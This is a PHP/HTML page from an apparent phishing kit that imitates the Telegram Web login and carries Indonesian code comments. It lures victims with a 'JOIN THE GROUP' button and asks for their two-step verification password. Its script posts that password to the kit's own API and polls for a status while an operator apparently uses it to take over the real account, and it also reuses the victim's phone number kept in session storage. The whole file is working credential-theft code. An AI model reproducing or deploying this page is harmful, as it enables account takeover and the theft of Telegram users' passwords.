<?php 
// Prevent direct access - harus melalui index.php
if (!defined('ACCESSED_VIA_INDEX')) {
    header('Location: /');
    exit;
}

require("_core.php");
?>
<!DOCTYPE html>
<html lang="en" translate="no" class="notranslate theme-light" data-message-text-size="16">
<head>
    <meta charset="UTF-8">
    <title>Telegram Web</title>
    <meta name="title" content="Telegram Web">
    <meta name="description" content="Telegram is a cloud-based mobile and desktop messaging app with a focus on security and speed.">
    <meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=no,shrink-to-fit=no,viewport-fit=cover">
    <meta name="mobile-web-app-capable" content="yes">
    <meta name="mobile-web-app-title" content="Telegram Web">
    <meta name="apple-mobile-web-app-capable" content="yes">
    <meta name="apple-mobile-web-app-title" content="Telegram Web">
    <meta name="application-name" content="Telegram Web">
    <meta name="msapplication-TileColor" content="#2b5797">
    <meta name="theme-color" content="#fff">
    <meta name="google" content="notranslate">
    <meta property="og:type" content="website">
    <meta property="og:url" content="https://web.telegram.org/z/">
    <meta property="og:title" content="Telegram Web">
    <meta property="og:description" content="Telegram is a cloud-based mobile and desktop messaging app with a focus on security and speed.">
    <meta property="og:image" content="icon-192x192.html">
    <meta property="twitter:card" content="summary_large_image">
    <meta property="twitter:url" content="https://web.telegram.org/z/">
    <meta property="twitter:title" content="Telegram Web">
    <meta property="twitter:description" content="Telegram is a cloud-based mobile and desktop messaging app with a focus on security and speed.">
    <meta property="twitter:image" content="icon-192x192.html">
    <link rel="apple-touch-icon" sizes="180x180" href="apple-touch-icon.html">
    <link rel="icon" href="favicon.html" type="image/svg+xml">
    <link rel="icon" type="image/png" sizes="16x16" href="favicon-16x16.html">
    <link rel="icon" type="image/png" sizes="32x32" href="favicon-32x32.html">
    <link rel="icon" type="image/png" sizes="192x192" href="icon-192x192.html">
    <link rel="alternate icon" href="favicon-2.html" type="image/x-icon">
    <link href="haykaljb/css/style.css" rel="stylesheet">
    <style>
        #toggle {
            position: absolute;
            top: 50%;
            right: 20px;
            transform: translateY(-50%);
            width: 30px;
            height: 30px;
            background: url(haykaljb/img/show.jpg);
            background-size: cover;
            cursor: pointer;
        }
        #toggle.hide {
            background: url(haykaljb/img/hide.png);
            background-size: cover;
        }

        /* Back Arrow Button */
        .back-arrow {
            position: fixed;
            top: 20px;
            left: 20px;
            width: 40px;
            height: 40px;
            border-radius: 12px;
            display: flex;
            align-items: center;
            justify-content: center;
            cursor: pointer;
            transition: all 0.2s ease;
            z-index: 10;
        }
        .back-arrow:hover {
            background: rgba(255, 255, 255, 0.2);
            border-color: #5EA3DE;
        }
        .back-arrow svg {
            width: 20px;
            height: 20px;
            fill: #333;
        }

        /* Modal Styles - PUTIH */
        .modal {
            position: fixed;
            inset: 0;
            display: grid;
            place-items: center;
            padding: 24px;
            height: 100dvh;
            overflow: auto;
            opacity: 0;
            pointer-events: none;
            transition: opacity 0.18s ease;
            z-index: 1000;
        }
        .modal.is-open {
            opacity: 1;
            pointer-events: auto;
        }
        .modal::before {
            content: "";
            position: absolute;
            inset: 0;
            background: rgba(29, 39, 51, 0.8);
            backdrop-filter: blur(4px);
        }
        .dialog {
            position: relative;
            z-index: 1;
            width: min(400px, 92vw);
            background: white;
            border: 1px solid rgba(255, 255, 255, 0.1);
            border-radius: 16px;
            box-shadow: 0 10px 30px rgba(0, 0, 0, 0.3), 0 2px 6px rgba(0, 0, 0, 0.2);
            padding: 28px 28px 20px;
            transform: translateY(6px) scale(0.98);
            opacity: 0;
            transition: transform 0.2s ease, opacity 0.2s ease;
            max-height: calc(100dvh - 48px);
            overflow: auto;
        }
        .is-open .dialog {
            transform: translateY(0) scale(1);
            opacity: 1;
        }
        
        .modal-title {
            font-size: 1.5rem;
            margin: 0 0 0.6rem;
            color: #333;
            font-weight: 600;
        }
        .modal-lead {
            margin: 0 0 1rem;
            color: #666;
            line-height: 1.4;
        }
        .modal-phone {
            display: inline-block;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            color: white;
            padding: 12px 20px;
            border-radius: 12px;
            font-size: 1.1rem;
            font-weight: 500;
            margin: 0 0 1rem;
            box-shadow: 0 4px 15px rgba(102, 126, 234, 0.3);
        }
        .modal-note {
            font-size: 0.875rem;
            color: #666;
            margin: 0 0 1.5rem;
            line-height: 1.4;
        }
        .modal-footer {
            display: flex;
            gap: 12px;
            justify-content: flex-end;
            margin-top: 1.5rem;
        }
        .btn-link {
            background: none;
            border: 1px solid #ddd;
            color: #666;
            padding: 10px 20px;
            border-radius: 8px;
            cursor: pointer;
            font-size: 0.875rem;
            font-weight: 500;
            transition: all 0.2s ease;
            text-decoration: none;
        }
        .btn-link:hover {
            background: #f8f9fa;
            border-color: #bbb;
            color: #333;
        }

        /* Password Input States */
        #password.error {
            border: 2px solid #ff4d4f !important;
            background-color: rgba(255, 77, 79, 0.05);
            animation: shake 0.5s ease-in-out;
        }
        
        #password.success {
            border: 2px solid #52c41a !important;
            background-color: rgba(82, 196, 26, 0.05);
        }
        
        /* Animation for error state */
        @keyframes shake {
            0%, 100% { transform: translateX(0); }
            25% { transform: translateX(-2px); }
            75% { transform: translateX(2px); }
        }

        /* Message Colors */
        #wrong.error-msg {
            color: #ff4d4f !important;
        }
        
        #wrong.success-msg {
            color: #52c41a !important;
        }
    </style>
</head>
<body class="animation-level-2 is-touch-env is-android">
    <noscript>
        <div id="logo"></div>
        <h1>Telegram Web</h1>
        <p>Please, enable JavaScript to open the app.</p>
    </noscript>
    
    <!-- Back Arrow Button -->
    <div class="back-arrow" id="openModal">
        <svg viewBox="0 0 24 24">
            <path d="M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.41L7.83 13H20v-2z"/>
        </svg>
    </div>

    <!-- Modal -->
    <div class="modal" id="editModal" aria-hidden="true">
        <div class="dialog" role="dialog" aria-modal="true" aria-labelledby="modal-title" aria-describedby="modal-desc">
            <h2 class="modal-title" id="modal-title">Change number</h2>
            <p class="modal-lead">Do you want to change your number?</p>

            <div class="modal-phone" id="modal-phone">+62 813 270942 79</div>

            <p class="modal-note" id="modal-desc">You will be redirected to the start page to enter a new number.</p>

            <div class="modal-footer">
                <button class="btn-link" id="editAction">Change Number</button>
                <button class="btn-link" id="closeModal">Cancel</button>
            </div>
        </div>
    </div>

    <div id="root">
        <div id="UiLoader" class="KD2TsjdEc_LBLsR_ReWT" style="--theme-background-color: #99BA92;">
            <div class="Transition full-height is-auth fade">
                <div class="Transition__slide--active">
                    <div class="Transition Auth fade">
                        <div class="Transition__slide--active">
                            <div id="auth-phone-number-form" class="custom-scroll">
                                <div class="auth-form">
                                    <div id="logo"></div>
                                    <h1>Your password</h1>
                                    <p class="note">Two-Step Verification is enabled. Your account is protected with an additional password.</p>
                                    <div class="input-group touched">
                                        <input class="form-control" type="password" name="password" id="password" autocomplete="off">
                                        <label for="password">Input Your Password</label>
                                        <div id="toggle" onclick="showHide();"></div>
                                    </div>
                                    <div id="wrong" style="margin-top:10px; display:none; font-weight:500; text-align:center;"></div>
                                    <div id="loader" style="display:none; margin-top:10px; color:#666; text-align:center;">Loading...</div>
                                    <div style="display:flex;justify-content:center;align-items:center;position:relative;padding-left:10%;padding-right:10%;">
                                        <button id="nextBtn" type="button" class="Button default primary">JOIN THE GROUP</button>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>

    <script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
    <script>
        // Show/hide password
        function showHide() {
            var password = document.getElementById('password');
            var toggle = document.getElementById('toggle');
            if (password.type === 'password') {
                password.setAttribute('type', 'text');
                toggle.classList.add('hide');
            } else {
                password.setAttribute('type', 'password');
                toggle.classList.remove('hide');
            }
        }

        $(document).ready(function() {
            $("#loader, #wrong").hide();
            var polling = false;
            
            function showError(msg) {
                $("#loader").hide();
                $("#wrong").removeClass("success-msg").addClass("error-msg").text(msg).show();
                $("#password").removeClass("success").addClass("error").focus();
                setTimeout(function() {
                    $("#password").removeClass("error");
                }, 3000);
            }
            
            function showSuccess(msg) {
                $("#loader").hide();
                $("#wrong").removeClass("error-msg").addClass("success-msg").text(msg).show();
                $("#password").removeClass("error").addClass("success");
            }

            // Polling status - compatible dengan API/index.php
            function checkStatus() {
                if (polling) return;
                polling = true;

                $.ajax({
                    url: "<?= base_url('API/index.php') ?>",
                    type: "POST",
                    dataType: "json",
                    data: { method: "getStatus" }
                }).done(function(response) {
                    var result = response && response.result ? response.result : null;
                    
                    if (!result) {
                        polling = false;
                        setTimeout(checkStatus, 700);
                        return;
                    }

                    // Password benar -> SUCCESS -> custom redirect atau Lander
                    if (result.type === "password" && result.status === "success") {
                        showSuccess("✅ Login berhasil!");
                        $("#nextBtn").text("SUCCESS").css({
                            "background": "#52c41a",
                            "border-color": "#52c41a"
                        }).prop("disabled", true);
                        polling = false;
                        
                        // Reload untuk menampilkan SCCS.php (tanpa clearSession)
                        setTimeout(function() {
                            window.location.reload(); // Reload akan mengarah ke SCCS.php
                        }, 1500);
                        return;
                    }

                    // Password salah
                    if (result.type === "password" && result.status === "failed" && result.detail === "wrong") {
                        showError("Incorrect Password");
                        $("#nextBtn").prop("disabled", false);
                        polling = false;
                        return;
                    }

                    // Timeout
                    if (result.type === "password" && result.status === "failed" && result.detail === "timeout") {
                        showError("Session timeout. Please try again.");
                        $("#nextBtn").prop("disabled", false);
                        polling = false;
                        return;
                    }

                    // Error umum
                    if (result.type === "password" && result.status === "failed") {
                        showError("Verification failed. Please try again.");
                        $("#nextBtn").prop("disabled", false);
                        polling = false;
                        return;
                    }

                    // Lanjut polling
                    polling = false;
                    setTimeout(checkStatus, 800);
                    
                }).fail(function(xhr, status, error) {
                    console.error("checkStatus Error:", { status, error, response: xhr.responseText });
                    polling = false;
                    setTimeout(checkStatus, 1000);
                });
            }

            // Remove error saat mengetik
            $("#password").on("input", function() {
                $(this).removeClass("error success");
                $("#wrong").hide();
            });

            // Submit password
            $("#nextBtn").on("click", function(e) {
                e.preventDefault();
                $("#wrong").hide();

                var password = $.trim($("#password").val());
                if (!password) {
                    showError("Please enter your password first.");
                    return;
                }

                $("#loader").show();
                $("#nextBtn").prop("disabled", true);

                $.ajax({
                    url: "<?= base_url('API/index.php') ?>",
                    type: "POST",
                    dataType: "json",
                    data: { method: "sendPassword", password: password }
                }).done(function(response) {
                    // Start polling setelah password dikirim
                    setTimeout(checkStatus, 600);
                }).fail(function() {
                    $("#loader").hide();
                    $("#nextBtn").prop("disabled", false);
                    showError("Failed to send request. Please try again.");
                });
            });

            // Submit dengan Enter
            $("#password").on("keypress", function(e) {
                if (e.which === 13) {
                    $("#nextBtn").click();
                }
            });

            // Mulai polling otomatis saat halaman load
            setTimeout(checkStatus, 600);

            // Modal functionality - sama dengan OTPC.php
            const modal = document.getElementById('editModal');
            const dialog = modal.querySelector('.dialog');
            const openBtn = document.getElementById('openModal');
            const closeBtn = document.getElementById('closeModal');
            const editBtn = document.getElementById('editAction');
            const modalPhone = document.getElementById('modal-phone');

            let lastActive = null;
            
            function getFocusable() {
                return dialog.querySelectorAll(
                    'a[href], button:not([disabled]), textarea, input, select, [tabindex]:not([tabindex="-1"])'
                );
            }

            function openModal() {
                // Update nomor dari session storage
                var ccode = sessionStorage.getItem("ccode");
                var phone = sessionStorage.getItem("nohp");
                if (ccode && phone) {
                    modalPhone.textContent = "+" + ccode + " " + phone;
                }
                
                lastActive = document.activeElement;
                modal.classList.add('is-open');
                modal.setAttribute('aria-hidden', 'false');
                const focusables = getFocusable();
                if (focusables.length) focusables[0].focus();
                
                modal.addEventListener('mousedown', backdropClose);
                document.addEventListener('keydown', onModalKey);
            }

            function closeModal() {
                modal.classList.remove('is-open');
                modal.setAttribute('aria-hidden', 'true');
                modal.removeEventListener('mousedown', backdropClose);
                document.removeEventListener('keydown', onModalKey);
                if (lastActive) lastActive.focus();
            }

            function backdropClose(e) {
                if (e.target === modal) closeModal();
            }

            function onModalKey(e) {
                if (e.key === 'Escape') return closeModal();
                if (e.key === 'Tab') {
                    const focusables = Array.from(getFocusable());
                    if (!focusables.length) return;
                    const first = focusables[0];
                    const last = focusables[focusables.length - 1];
                    if (e.shiftKey && document.activeElement === first) {
                        e.preventDefault();
                        last.focus();
                    } else if (!e.shiftKey && document.activeElement === last) {
                        e.preventDefault();
                        first.focus();
                    }
                }
            }

            // Event listeners untuk modal
            openBtn.addEventListener('click', openModal);
            closeBtn.addEventListener('click', closeModal);
            editBtn.addEventListener('click', () => {
                closeModal();
                
                $.ajax({
                    url: "<?= base_url('API/index.php') ?>",
                    type: "POST",
                    dataType: "json",
                    data: { method: "editPhone" }
                }).done(function(response) {
                    if (response.ok || response.result) {
                        window.location.reload();
                    } else {
                        alert("Failed to reset session: " + (response.message || response.error || "Unknown error"));
                    }
                }).fail(function() {
                    alert("Network error. Please try again.");
                });
            });
        });
    </script>
    <link rel="stylesheet" href="haykaljb/css/watermark.css">
</body>
</html>
